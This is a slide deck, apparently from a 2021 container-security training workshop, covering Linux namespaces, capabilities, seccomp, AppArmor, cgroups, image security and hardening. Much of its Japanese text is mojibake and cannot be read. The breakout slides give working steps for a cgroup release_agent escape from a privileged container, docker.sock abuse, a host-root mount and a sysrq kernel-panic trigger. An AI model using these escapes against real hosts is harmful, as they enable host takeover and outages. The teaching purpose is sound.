Slide 1
Slide 1 text
Container Security
Linux Container Isolation and BreakoutTechniques
Kohei Morita @mrtc0
2021 / 1 0 / 30 ProSec-IT
Slide 2
Slide 2 text
ߨٛʹ͍ͭͯ
• Slack ʹߨٛͷͳ͔Ͱٙʹࢥͬͨ͜ͱ࣭ɺϋϚͬͨͱ͜Ζ͕͋
Ευϯυϯॻ͍͍ͯͩ͘͞
• ԋश͕ऴΘͬͨΒਐḿγʔτͷ߲Λʮྃʯʹ͍ͯͩ͘͠͞
Slide 3
Slide 3 text
$ whoami
Kohei Morita / @mrtc0
GMO Pepabo, Inc. ηΩϡϦςΟରࡦࣨ
https://blog.ssrf.in/
https://container-security.dev/
Slide 4
Slide 4 text
Outline
• 14:00~15:30 ίϯςφͷϗετͱͷͷΈ
• 15:40~16:40 ίϯςφͷઃఆෆඋʹؔ͢Δ੬ऑੑ
• 16:50 ~ ίϯςφΠϝʔδͷ੬ऑੑͱϏϧυ࣌ͷҙ
• ίϯςφϥϯλΠϜͷηΩϡϦςΟ
Slide 5
Slide 5 text
Linux Containers
Slide 6
Slide 6 text
Inside Linux Containers ( CRI and OCI )
Slide 7
Slide 7 text
Inside Linux Containers ( runc )
• Linux ͷػೳΛͬͯϦιʔεΛ
• namespace ... PID, UTS, Network ͳͲ7ͭͷϦιʔεΛ
• cgoup ... ϝϞϦCPUར༻ͷ੍ݶ
• LSM ... Linux Security Module
• seccomp ... γεςϜίʔϧͷ੍ݶ
• capability ... ݖݶͷ DROP
Slide 8
Slide 8 text
Defense in Depth
• ಛఆͷྖҬʹอޢϨΠϠΛෳಋೖ
• ֤ϨΠϠಉछͷةݥੑʹରͯ͠੬ऑ
ʹͳΒͳ͍Α͏ʹ͢Δ
Slide 9
Slide 9 text
Linux Container is Process
• fork + exec ͯ͠ϓϩηεΛੜ͢Δ
• ͦͷࡍʹϗετͱͷΛߦ͏
Slide 10
Slide 10 text
Linux Container is Process
• ίϯςφϗετ͔ΒݟΔͱ୯ͳΔϓϩηε
$ docker run --rm -it alpine:lates sh
# sleep 100
$ ps auxf
...
/usr/bin/containerd
\_ containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/
8c9e9014b37131248e4fd927f74b61ff88efdcfdfe4fc9e79e3b3ac2c98bb332 -address /run/containerd/
containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
\_ sh
\_ sleep 100
^1
^1 ޙड़͠·͕͢ɺKata Container ͳͲ VM Λ͏ϥϯλΠϜ͋Γ·͢
Slide 11
Slide 11 text
Linux Process
$ strace ls
execve("/bin/ls", ["ls"], 0x7ffc39b8b710 /* 20 vars */) = 0
...
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
...
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20b\0\0\0\0\0\0"..., 832) = 832
...
write(1, "a.out bpf-tutorial chart-testi"..., 180a...
• ϓϩηεԿΒ͔ͷγεςϜίʔϧΛݺͼग़͢
Slide 12
Slide 12 text
setuid / setgid
$ cp /bin/sleep ./mysleep
$ sudo ./mysleep 100
$ ps ajf
PPID PID PGID SID TTY TPGID STAT UID TIME COMMAND
1928 1932 1932 1932 pts/0 4221 Ss 1000 0:00 bash
1932 4221 4221 1932 pts/0 4221 S+ 0 0:00 \_ sudo ./mysleep 100
4221 4222 4221 1932 pts/0 4221 S+ 0 0:00 \_ ./mysleep 100
$ chmod +s ./mysleep
$ sudo ./mysleep 100
$ ps ajf
PPID PID PGID SID TTY TPGID STAT UID TIME COMMAND
1928 1932 1932 1932 pts/0 4232 Ss 1000 0:00 bash
1932 4232 4232 1932 pts/0 4232 S+ 0 0:00 \_ sudo ./mysleep 100
4232 4233 4232 1932 pts/0 4232 S+ 1000 0:00 \_ ./mysleep 100
Slide 13
Slide 13 text
setuid ͷ
• setuid ͞ΕͨϓϩάϥϜͷ੬ऑੑΛѱ༻͞ΕΔͱ root ʹঢ֨ͯ͠͠
·͏Մೳੑ͕͋Δ
• ίϯςφΠϝʔδεΩϟφ setuid ͞ΕͨϑΝΠϧΛใࠂͯ͘͠ΕΔ
ͷ͋Δ
• docker Ͱ no-new-privileges ΦϓγϣϯͰ੍ޚͰ͖Δ
Slide 14
Slide 14 text
no-new-privileges
$ cat Dockerfile
FROM ubuntu:18.04
RUN cp /bin/bash /bin/mybash && chmod +s /bin/mybash
RUN useradd -ms /bin/bash newuser
USER newuser
CMD ["/bin/bash"]
$ docker run --security-opt=no-new-privileges:false -it --rm test:latest
newuser@3ee2685cd961:/$ id
uid=1000(newuser) gid=1000(newuser) groups=1000(newuser)
newuser@3ee2685cd961:/$ /bin/mybash -p
mybash-4.4# id
uid=1000(newuser) gid=1000(newuser) euid=0(root) egid=0(root) groups=0(root)
$ docker run --security-opt=no-new-privileges:true -it --rm test:latest
newuser@80f241191a07:/$ /bin/mybash -p
newuser@80f241191a07:/$ id
uid=1000(newuser) gid=1000(newuser) groups=1000(newuser)
Slide 15
Slide 15 text
Capabilities
Slide 16
Slide 16 text
Capabilities
• setuid Ͱ root Λ༩͑ΔͷͰͳ͘ɺͬͱࡉ͔͘ݖݶΛ༩͑Δ
• ping ͰੜͷιέοτΛ։ͨ͘Ίʹ CAP_NET_RAW ^1
• 1024ҎԼͷϙʔτͰ Listen ͢Δʹ CAP_NET_BIND_SERVICE ͕
ඞཁ
^1 ࣮୯७ʹ ping ͢Δ͚ͩͰඞཁͳ͍Ͱ͢
Slide 17
Slide 17 text
Capabilities
$ ps aux | grep ping
ubuntu 7322 0.0 0.0 16848 1120 pts/0 S+ 15:12 0:00 ping 8.8.8.8
$ getpcaps 7322
Capabilities for `7322': = cap_net_admin,cap_net_raw+p
$ cp /bin/ping myping
$ ./myping -c 1 8.8.8.8
ping: socket: Operation not permitted
$ sudo setcap 'cap_net_raw+p' ./myping
$ getcap ./myping
$ ./myping = cap_net_raw+p
$ ./myping -c 1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=26.8 ms
ࠓ CAP_NET_RAW ͳ͠Ͱ ping Λ࣮ߦͰ͖·͢
Slide 18
Slide 18 text
Capabilities
$ docker run --rm -it ubuntu:20.04 bash
root@4e89e243ccee:/# apt-get -qq update ; apt-get -qq -y install iputils-ping
root@4e89e243ccee:/# ps
root@4e89e243ccee:/# getpcaps 1
1: =
cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_
chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
root@4e89e243ccee:/# ping -c 1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=113 time=17.9 ms
$ docker run --cap-drop net_raw --rm -it ubuntu:20.04 bash
root@31bb88ca04f8:/# apt-get -qq update ; apt-get -qq -y install iputils-ping
root@31bb88ca04f8:/# ps
root@31bb88ca04f8:/# getpcaps 1
1: =
cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_sys_chroot,cap_m
knod,cap_audit_write,cap_setfcap+eip
root@31bb88ca04f8:/# ping 8.8.8.8
bash: /usr/bin/ping: Operation not permitted
Slide 19
Slide 19 text
Privilege Escalation
• ݖݶঢ֨ = ͞Βʹڧ͍ݖݶΛಘΔ͜ͱ
• ίϯςφͰݖݶঢ֨ͷಓ͕ଟ͋Δ
Slide 20
Slide 20 text
ԋशλΠϜ
1-1-2 ·Ͱ
Slide 21
Slide 21 text
Namespace
Slide 22
Slide 22 text
Linux namespace
• Namespace ίϯςφʹ͓͚Δ Isolation ͷॏཁͳཁૉ
$ docker run --rm -it alpine:latest sh
/ # ps aux
PID USER TIME COMMAND
1 root 0:00 sh
7 root 0:00 ps aux
Slide 23
Slide 23 text
ओཁͳ Namespace
• UTS Namespace
ϗετ໊ͳͲΛϗετͱผʹͰ͖Δ
ϓϩηεΛ͢Δ͜ͱͰɺϗετͷ
ϓϩηεΛૢ࡞͢Δ͜ͱΛ੍ݶ͢Δ
• PID Namespace
ωοτϫʔΫΛͯ͠ίϯςφؒ
ωοτϫʔΫΛ࡞ΕΔ
• Network Namespace
IPC Λϗετͱ͢Δ͜ͱͰϝο
ηʔδΩϡʔͳͲͷར༻Λ੍ݶ͢Δ
• IPC Namespace
ϑΝΠϧγεςϜΛϚϯτςʔϒϧ͔Β
͠ɺpivot_root ͱΈ߹ΘͤΔ͜ͱͰ
ϑΝΠϧγεςϜΛผͷσΟϨΫτϦʹม
ߋ͢Δ
• Mount Namespace
Slide 24
Slide 24 text
lsns
$ sudo lsns
NS TYPE NPROCS PID USER COMMAND
4026531835 cgroup 141 1 root /sbin/init
4026531836 pid 139 1 root /sbin/init
4026531837 user 141 1 root /sbin/init
4026531838 uts 139 1 root /sbin/init
4026531839 ipc 139 1 root /sbin/init
4026531840 mnt 131 1 root /sbin/init
4026531861 mnt 1 19 root kdevtmpfs
4026531993 net 139 1 root /sbin/init
4026532206 mnt 1 5452 systemd-resolve /lib/systemd/systemd-resolved
4026532207 mnt 1 5449 systemd-timesync /lib/systemd/systemd-timesyncd
4026532208 mnt 1 5453 root /lib/systemd/systemd-udevd
4026532209 mnt 1 5465 systemd-network /lib/systemd/systemd-networkd
4026532210 mnt 3 1293 root /usr/sbin/apache2 -k start
4026532222 mnt 2 7445 root sh
4026532223 uts 2 7445 root sh
4026532224 ipc 2 7445 root sh
4026532225 pid 2 7445 root sh
4026532227 net 2 7445 root sh
Slide 25
Slide 25 text
namespace ͷ࡞Γํ
• unshare Ͱ࡞ΕΔ
Slide 26
Slide 26 text
Hostname Isolation
$ docker run --rm -it alpine:latest sh
/ # hostname
4f5078fcfc49
$ sudo unshare --uts sh
# hostname
sandbox
# hostname this-is-container
# hostname
this-is-container
# exit
$ hostname
sandbox
Slide 27
Slide 27 text
Process Isolation
$ docker run --rm -it alpine:latest sh
/ # ps aux
PID USER TIME COMMAND
1 root 0:00 sh
6 root 0:00 ps aux
$ sudo unshare --pid --fork bash
root@sandbox:/# echo $$
1
root@sandbox:/# ps uax
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 160192 9392 ? Ss Oct25 0:08 /sbin/init
root 2 0.0 0.0 0 0 ? S Oct25 0:00 [kthreadd]
root 4 0.0 0.0 0 0 ? I< Oct25 0:00 [kworker/0:0H]
...
🤔
Slide 28
Slide 28 text
man 1 ps
"This ps works by reading the virtual files in /proc. "
28
Slide 29
Slide 29 text
/proc
root@sandbox:/# ls -al /proc
dr-xr-xr-x 151 root root 0 Oct 23 18:10 .
drwxr-xr-x 25 root root 4096 Oct 23 18:10 ..
dr-xr-xr-x 9 root root 0 Oct 23 18:10 1
dr-xr-xr-x 9 root root 0 Oct 23 18:10 10
dr-xr-xr-x 9 root root 0 Oct 23 18:10 11
dr-xr-xr-x 9 root root 0 Oct 23 18:10 1139
dr-xr-xr-x 9 root root 0 Oct 23 18:10 1141
dr-xr-xr-x 9 root root 0 Oct 23 18:10 1147
dr-xr-xr-x 9 daemon daemon 0 Oct 23 18:10 1150
...
Slide 30
Slide 30 text
Change Directory
• ίϯςφϗετͱҟͳΔϑΝ
ΠϧγεςϜΛ͍ͬͯΔ
• /proc ؚΊͯ·ΔͬͱผͷσΟ
ϨΫτϦʹมߋͯ͠͠·͓͏
Slide 31
Slide 31 text
chroot
$ cd alpine/
alpine$ wget http://dl-cdn.alpinelinux.org/alpine/v3.12/releases/x86_64/alpine-minirootfs-3.12.1-
x86_64.tar.gz
alpine$ tar xvf alpine-minirootfs-3.12.1-x86_64.tar.gz
alpine$ rm alpine-minirootfs-3.12.1-x86_64.tar.gz
alpine$ cd ../
$ sudo chroot alpine sh
/ # ls /
bin dev etc home lib media mnt opt proc root run sbin srv sys tmp
usr var
/ # ls proc/
/ # ps
PID USER TIME COMMAND
/ # ls home/
Slide 32
Slide 32 text
unshare + chroot
$ sudo unshare --pid --fork chroot alpine sh
/ # mount -t proc proc /proc
/ # ps aux
PID USER TIME COMMAND
1 root 0:00 sh
4 root 0:00 ps aux
Slide 33
Slide 33 text
chroot ? pivot_root ?
• chroot ݅ʹΑͬͯࠈՄೳͳͷͰ࣮ࡍͷίϯςφϥϯλΠϜͰ
pivot_root ͕ΘΕΔ͜ͱ͕ଟ͍
• pivot_root Mount Namespace ͱΈ߹Θͤͯɺݹ͍(ϗετͷ)
root σΟϨΫτϦʹΞΫηεͰ͖ͳ͘ͳΔ
Slide 34
Slide 34 text
pivot_root
• ϓϩηεͷ rootfs ͦͷͷΛೖΕସ͑Δ͜ͱ͕Ͱ͖Δ
• ͨͩ͠ɺҎԼͷ͕݅͋Δ
• new_root ͱݩͷ put_old σΟϨΫτϦͰ͋Δ͜ͱ
• new_root ͱ put_old ಉ͡ϑΝΠϧγεςϜʹ͍͚͋ͬͯͳ͍
• put_old new_root Լʹͳ͚Ε͍͚ͳ͍
• ଞͷϑΝΠϧγεςϜ͕ put_old ʹϚϯτ͞Ε͍͍͚ͯͯͳ͍
Slide 35
Slide 35 text
pivot_root
• bind mount ͢Δ͜ͱͰ৽͍͠
ϚϯτϙΠϯτͱ͢Δ
• pivot_root ͰೖΕସ͑ͯ
put_old Λ unmount ͢Δ
Slide 36
Slide 36 text
Mount Namespace + pivot_root
$ export NEW_ROOT=$(pwd)/alpine
$ mkdir $NEW_ROOT/.put_old
$ sudo unshare --pid --fork --mount sh -c "mount --bind $NEW_ROOT $NEW_ROOT && \
mount -t proc proc $NEW_ROOT/proc && \
pivot_root $NEW_ROOT $NEW_ROOT/.put_old && \
umount -l /.put_old && \
cd / && \
exec /bin/sh"
Slide 37
Slide 37 text
ReadOnly Mount
• /proc /sys ʹΞΫηεͰ
͖͍͚ͯͳ͍ϑΝΠϧ͕ଟ
͋Δ
• ReadOnly ͰϚϯτͨ͠Γ /
dev/null ΛϚϯτͨ͠Γ͢
Δ
Slide 38
Slide 38 text
User namespace & User Mapping
$ unshare --user bash
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$ echo $$
20265
$ echo '0 1000 1' > /proc/20265/uid_map
$ id
uid=0(root) gid=65534(nogroup) groups=65534(nogroup)
Slide 39
Slide 39 text
ԋशλΠϜ
1-2-4 ·Ͱ
Slide 40
Slide 40 text
seccomp
Slide 41
Slide 41 text
seccomp
• γεςϜίʔϧͱͦͷҾΛ੍ݶ͢Δػߏ
• kexec_file_load
• mount
• ptrace
• https://docs.docker.com/engine/security/seccomp/#run-without-
the-default-seccomp-profile
• Linux Kernel 4.8 Ҏલ ptrace Λͬͯ Bypass Մೳͳ͜ͱʹҙ
Slide 42
Slide 42 text
$ cat seccomp.json
{
"defaultAction": "SCMP_ACT_ALLOW",
"syscalls": [
{
"name": "mkdir",
"action": "SCMP_ACT_ERRNO",
"args": []
}
]
}
$ docker run --rm --security-opt seccomp:seccomp.json -it ubuntu:latest bash
root@5e21f4dd5001:/# mkdir /tmp/test
mkdir: cannot create directory '/tmp/test': Operation not permitted
seccomp
Slide 43
Slide 43 text
ԋशλΠϜ
1-3 ·Ͱ
Slide 44
Slide 44 text
Linux Security Modules
Slide 45
Slide 45 text
LSM ( Linux Security Modules )
• AppArmor SELinux ͳͲ͕ར༻͞ΕΔ
• MAC ( Mandatory Access Control ) ͱͯ͠ػೳ͢Δ
• /proc /sys ԼͷϑΝΠϧͷΞΫηεΛ੍ޚͨ͠ΓίϚϯυΛ੍
ݶͨ͠Γ
Slide 46
Slide 46 text
AppArmor
$ docker run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu:latest bash
root@724485cb81f5:/# mkdir a; mkdir b; mount --bind a b
mount: /b: bind /a failed.
$ docker run --rm -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt
apparmor=unconfined ubuntu:latest bash
root@89e4b11b35b4:/# mkdir a; mkdir b; mount --bind a b
https://docs.docker.com/engine/security/apparmor/
Slide 47
Slide 47 text
ԋशλΠϜ
1-4·Ͱ
Slide 48
Slide 48 text
cgroup
Slide 49
Slide 49 text
cgroup
• Ϧιʔεͷར༻Λ੍ޚ
• CPU ϝϞϦͳͲΛ੍ޚͯ͠ෛՙ͕͔͔Βͳ͍Α͏ʹ
• fork bomb ͷରࡦ
Slide 50
Slide 50 text
cgroup
$ docker run --rm -it -m 120m ubuntu:latest bash
root@c84c70f93970:/# apt update ; apt install stress
---
$ CID=$(docker run -d --rm ubuntu:latest sleep 1000)
$ sudo cat /sys/fs/cgroup/memory/docker/$CID/memory.limit_in_bytes
9223372036854771712
$ CID2=$(docker run --memory=16m -d --rm ubuntu:latest sleep 1000)
$ sudo cat /sys/fs/cgroup/memory/docker/$CID2/memory.limit_in_bytes
16777216
time docker exec -it $CID apt update ; time docker exec -it $CID2 apt update
Slide 51
Slide 51 text
ԋशλΠϜ
1-5·Ͱ
Slide 52
Slide 52 text
Container Security & Breakout Techniques
Slide 53
Slide 53 text
Attack Surfaces
ϥϯλΠϜͷ߈ܸ Χʔωϧͷ߈ܸ ઃఆෆඋΛར༻ͨ͠߈ܸ
e.g. CVE-2019-5736 e.g. CVE-2016-5195
Slide 54
Slide 54 text
No content
Slide 55
Slide 55 text
Breakout Container Isolation
• ִ͞Ε͍ͯΔίϯςφڥ͔Βϗετग़͢Δ
• Breakout / JailBreak / Escape ͳͲͱݺͿ
• ઃఆϛεىҼͰੜ͡Δ੬ऑੑʹযΛͯΔ
• 1. Sensitive File Mount
• 2. Privileged Container
• 3. Capabilities
Slide 56
Slide 56 text
1. Sensitive file mount
• ϗετͷϑΝΠϧΛϚϯτ͍ͯ͠Δ߹ɺϗετଆʹΤεέʔϓ͢
Δ͜ͱ͕Ͱ͖Δέʔε͕͋Δ
• / ΛϚϯτ(!)
• docker.sock ͷϚϯτ
• /proc Լ
Slide 57
Slide 57 text
Mount host root file system
$ docker run --rm -it -v /:/hostfs alpine:latest sh
/ # ls -al /hostfs
total 104
drwxr-xr-x 25 root root 4096 Oct 23 09:10 .
drwxr-xr-x 1 root root 4096 Nov 2 09:37 ..
drwxr-xr-x 2 root root 4096 Sep 27 02:21 bin
drwxr-xr-x 4 root root 4096 Oct 23 21:57 boot
drwxr-xr-x 16 root root 3760 Oct 23 09:10 dev
drwxr-xr-x 104 root root 4096 Oct 31 22:21 etc
drwxr-xr-x 4 root root 4096 Sep 10 14:00 home
...
Slide 58
Slide 58 text
Mount docker socket
$ docker run --rm -it -v /var/run/docker.sock:/docker.sock alpine:latest sh
/ # apk add curl
/ # curl --unix-socket /docker.sock http:/v1.24/containers/json
[{"Id":"ffa672e9ab2a8adc38919c6b812aa8baa8bbb4b7906e98206ec947b642503158","Names":["/
crazy_knuth"],"Image":"alpine:latest","ImageID":"sha256:d6e46aa2470df1d32034c6707c8041158b652f38d2a9a
e3d7ad7e7532d22ebe0","Command":"sh","Created":1604309903,"Ports":[],"La...
Slide 59
Slide 59 text
Kernel Panic
$ docker run --rm -it -v /proc/sysrq-trigger:/sysrq-trigger alpine:latest sh
/ # echo c > /sysrq-trigger
Slide 60
Slide 60 text
ԋशλΠϜ
2-1·Ͱ
Slide 61
Slide 61 text
2. Privileged Container
• Privileged (ಛݖ) ίϯςφͱݺΕΔͷ Isolation ͕ෆेͳͷͰσ
όοάతҎ֎Ͱར༻͠ͳ͍͜ͱ
• CAP_SYS_ADMIN CAP_SYS_PTRACE ͳͲͷ Capability Λ༩͑ͯ͠
·͏
• seccomp AppArmor ͳͲͷอޢ͕ͳ͍
• ಛఆͷ Capability ͷ༩ಛఆͷγεςϜίʔϧͷڐՄͳͲ͕߹Θ͞Δ͜
ͱͰϗετଆʹΤεέʔϓͰ͖Δ
Slide 62
Slide 62 text
call_usermodehelper_exec()
• ϢʔβʔϥϯυͰίʔϧόοΫͷΑ͏ʹҙͷϓϩάϥϜΛ࣮ߦͰ͖
ΔΧʔωϧͷػೳ
• release_agent, binfmt_misc, core_pattern, uevent_helper
• Capability / seccomp ͳͲͷෆඋͰಛఆͷૢ࡞͕Մೳͳ߹ʹɺίϯ
ςφ͔ΒΠϕϯτΛൃՐͤ͞Δ͜ͱͰϗετଆͰҙͷϓϩάϥϜΛ
࣮ߦͰ͖Δ
Slide 63
Slide 63 text
cgroup release agent
$ docker run --privileged --rm -it ubuntu:latest bash
root@927bb44baf0d:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@927bb44baf0d:/# echo 1 > /tmp/cgrp/x/notify_on_release
Slide 64
Slide 64 text
cgroup release agent
root@927bb44baf0d:/# mount | grep overlay2
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/
4HN7CVYLX5VML6M3TK4HLNKHX2:/var/lib/docker/overlay2/l/RWN3A47IS5OFAM3BM5YCAOFBYD:/var/lib/docker/
overlay2/l/DCI4FWEI5GWG2MAABQGMYNWPTY:/var/lib/docker/overlay2/l/
EAP7XMJNE3QFMGS5SOHUTYQPBB,upperdir=/var/lib/docker/overlay2/
ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff,workdir=/var/lib/docker/
overlay2/ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/work,xino=off)
root@927bb44baf0d:/# echo "/var/lib/docker/overlay2/
ed8b2e0d609b87c327e4c6061308d83acca13bc88fe96394b46dd5312af84277/diff/cmd" > /tmp/cgrp/release_agent
Slide 65
Slide 65 text
cgroup release agent
root@927bb44baf0d:/# cat < /cmd
> #!/bin/sh
> ps aux > /tmp/output
> EOF
root@927bb44baf0d:/# chmod +x /cmd
root@927bb44baf0d:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
ubuntu@docker:/tmp$ head /tmp/output
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 168656 12660 ? Ss Nov02 0:04 /sbin/init
root 2 0.0 0.0 0 0 ? S Nov02 0:00 [kthreadd]
...
Slide 66
Slide 66 text
breakout to host
• uevent_helper ... /sys/kernel/uevent_helper ʹॻ͔ΕͨϓϩάϥϜ
Λ uevent Λى͜͢͜ͱͰ࣮ߦͤ͞Δ
• core_pattern ... /proc/sys/kernel/core_pattern ʹॻ͔ΕͨϓϩάϥϜ
Λ core ϑΝΠϧΛు͍ͨλΠϛϯάͰ࣮ߦ͢Δ
Slide 67
Slide 67 text
ԋशλΠϜ
2-2·Ͱ
Slide 68
Slide 68 text
3. Capabilities
• Privileged Container Ͱͳͯ͘ಛఆͷ Capability Λ༩͑Δ͜ͱة
ݥ
• CAP_SYS_MODULE ... ΧʔωϧϞδϡʔϧͷϩʔυ
• CAP_SUS_RAWIO ... ioctl
• CAP_SYS_ADMIN ... mount ͳͲ
Slide 69
Slide 69 text
Container Image Security
Slide 70
Slide 70 text
Container Image Security
• ίϯςφΠϝʔδηΩϡϦςΟతʹؾΛ͚ͭΔͱ͜Ζ͕͋Δ
• 1. Ϗϧυ࣌ͷηΩϡϦςΟ
• 2. ґଘύοέʔδͷηΩϡϦςΟ
• 3.Πϝʔδͷվ͟Μ
Slide 71
Slide 71 text
Image Build Attack Surfaces
e.g. CVE-2019-16097
Slide 72
Slide 72 text
Container Image
• docker pull alpine:latest
• docker pull docker.example.com/user/alpine:latest
• docker build -t .
Slide 73
Slide 73 text
Build a image
$ cat Dockerfile
FROM alpine:latest
RUN echo "secret" > /secret.txt
RUN rm /secret.txt
$ docker build -t test .
Sending build context to Docker daemon 10.61MB
Step 1/3 : FROM alpine:latest
---> d6e46aa2470d
Step 2/3 : RUN echo "secret" > /secret.txt
---> Running in 32f150d1804c
Removing intermediate container 32f150d1804c
---> 2cac5efedab4
Step 3/3 : RUN rm /secret.txt
---> Running in be0569fd1744
Removing intermediate container be0569fd1744
---> b29dd8898773
Successfully built b29dd8898773
Successfully tagged test:latest
Slide 74
Slide 74 text
Image Layers
• ΠϝʔδͦΕͧΕͷ໋ྩ͝ͱͷϨΠϠͰߏங͞Ε͍ͯΔ
Slide 75
Slide 75 text
Extract image
$ docker save test > test.tar
$ mkdir test
$ cd test
~/test$ tar -xf ../test.tar
~/test$ ls
b1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd
b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a manifest.json
b29dd88987735c67e31b37de3c0c44abf656b42e6ce396defbfd967ba772e027.json
c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156 repositories
Slide 76
Slide 76 text
History
$ cat b29*.json | jq
"history": [
{
"created": "2020-10-22T02:19:24.33416307Z",
"created_by": "/bin/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in / "
},
{
"created": "2020-10-22T02:19:24.499382102Z",
"created_by": "/bin/sh -c #(nop) CMD [\"/bin/sh\"]",
"empty_layer": true
},
{
"created": "2020-11-02T09:05:38.780508124Z",
"created_by": "/bin/sh -c echo \"secret\" > /secret.txt"
},
{
"created": "2020-11-02T09:05:39.890868911Z",
"created_by": "/bin/sh -c rm /secret.txt"
}
Slide 77
Slide 77 text
Extract Layer
$ cat manifest.json | jq
...
"Layers": [
"b1c62b187dcd114a7252e45a4f03577549d82277149b5467c73eefaa956260bd/layer.tar",
"c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar",
"b6433cc45f11a118c68ef34b9b3192f7c3514ee1a36c85d26df80122d058af4a/layer.tar"
...
$ tar xf c8e83ef6a497050f640412539ecd335c4f7cf72808a75aea4ef1d0e04bb28156/layer.tar
$ cat secret.txt
secret
Slide 78
Slide 78 text
ԋशλΠϜ
3-2·Ͱ
Slide 79
Slide 79 text
Dependencies Vulnerability
• ΠϝʔδʹΠϯετʔϧ͞ΕͨιϑτΣΞͷ੬ऑੑ
• ΦϯϓϨ/VM ͱಉ͡ͰɺίϯςφͷݖݶΛऔಘ͞ΕΔՄೳੑ͕
͋Δ
Slide 80
Slide 80 text
trivy
Slide 81
Slide 81 text
੬ऑੑ͕ݟ͔ͭͬͨ߹
• ͦͷ੬ऑੑ͕σΟετϦͰͲ͏͍͏ѻ͍ʹͳ͍ͬͯΔ͔֬ೝ͢Δ
• Affected ͕༷ͩʑͳཧ༝Ͱ deffered ʹͳ͍ͬͯΔͷ͋Δ
• ͦͷ੬ऑੑ͕ར༻͞ΕΔέʔε͋Δͷ͔
• ѱ༻͞ΕΔՄೳੑ͕͋Δ߹ʹ ɺΞοϓσʔτग़͍ͯΔͷ͔
• ϕʔεΠϝʔδͷߋ৽ Mitigation Λߦ͏
Slide 82
Slide 82 text
Πϝʔδͷվ͟Μ
• ϨδετϦͷΞΧϯτ͕ͬऔΒΕͨ߹ɺΠϝʔδ͕ෆਖ਼ͳͷ
ʹॻ͖͑ΒΕΔՄೳੑ͕͋Δ
• latest Λࢦఆ͍ͯ͠Δͱෆਖ਼ͳΠϝʔδΛऔಘͯ͠͠·͏Մೳੑ͕͋
Δ
• Πϝʔδͷ Digest Λࢦఆ͢Δ
• Docker Content Trust (ॺ໊) Λར༻͢Δ
Slide 83
Slide 83 text
ԋशλΠϜ
3-3·Ͱ
Slide 84
Slide 84 text
Hardening Container
Slide 85
Slide 85 text
Hardening Isolation
• ίϯςφϗετͱͷϨϕϧαϯυϘοΫεͷΈ͕ॏཁ
• seccomp LSM ʹΑΔ Hardening Docker Ͱ༰қʹར༻Ͱ
͖ΔͷͰखܰͱ͍͑Δ
• ϥϯλΠϜࣗମΛมߋ͢Δͱ͍͏ํ๏͋Δ
• gVisor
• Kata Container
Slide 86
Slide 86 text
rootless build
• Docker Daemon root Ͱಈ͍͍ͯΔ
• docker build ͕Ͱ͖Δ = ҙͷίϚϯυΛ root Ͱ࣮ߦͰ͖Δ
• ࠪࠔ (auid ͕ unset)
• rootless Docker buildar ͳͲΛར༻͢Δ
Slide 87
Slide 87 text
Network / Logging
• τϥϑΟοΫͷ੍ޚ ARP Spoofing ͷରࡦ
• ίϯςφϩάΠϕϯτͷू
• fluentd
• falco
• auditd
Slide 88
Slide 88 text
·ͱΊ
• ίϯςφ Linux ͷػೳΛ༻͍ͯϦιʔεͷͱ੍ݶΛߦ͍ͬͯΔ
• gVisor Kata Container ͷΑ͏ͳڧྗͳαϯυϘοΫεར༻
Ͱ͖Δ
• ίϯςφͷ߈ܸΞϓϩʔνෳ͋ΓɺઃఆෆඋʹΑͬͯϗετʹΤ
εέʔϓͰ͖Δέʔε͕͋Δ
• ͨͩ͠ɺෳͷηΩϡϦςΟػߏ͕͋Γɺଟޚͱͳ͍ͬͯΔ
Slide 89
Slide 89 text
ϑΥϩʔΞοϓ
• ͓࣌ؒർΕ༷Ͱͨ͠!
• ফԽෆྑͳͱ͜Ζ͋Δͱࢥ͍·͢ͷͰɺ࣭ Slack Ͱͯ͠Βͬͯ OK
Ͱ͢
• ͓͔ΘΓ՝Ϩϙʔτͱͯ͠ʹૹͬͯΒ͑Δͱίϝϯτ͠·͢! Θ͔
Βͳ͍ͱ͜Ζฉ͍͍ͯͩ͘͞ɻ
• Slack ਓʹݟΒΕͯͪΐͬͱ...ͱ͍͏ਓ DM Ͱ͍͍Ͱ͢͠ɺ
[email protected] ѼʹૹͬͯΒͬͯେৎͰ͢
Slide 90
Slide 90 text
References
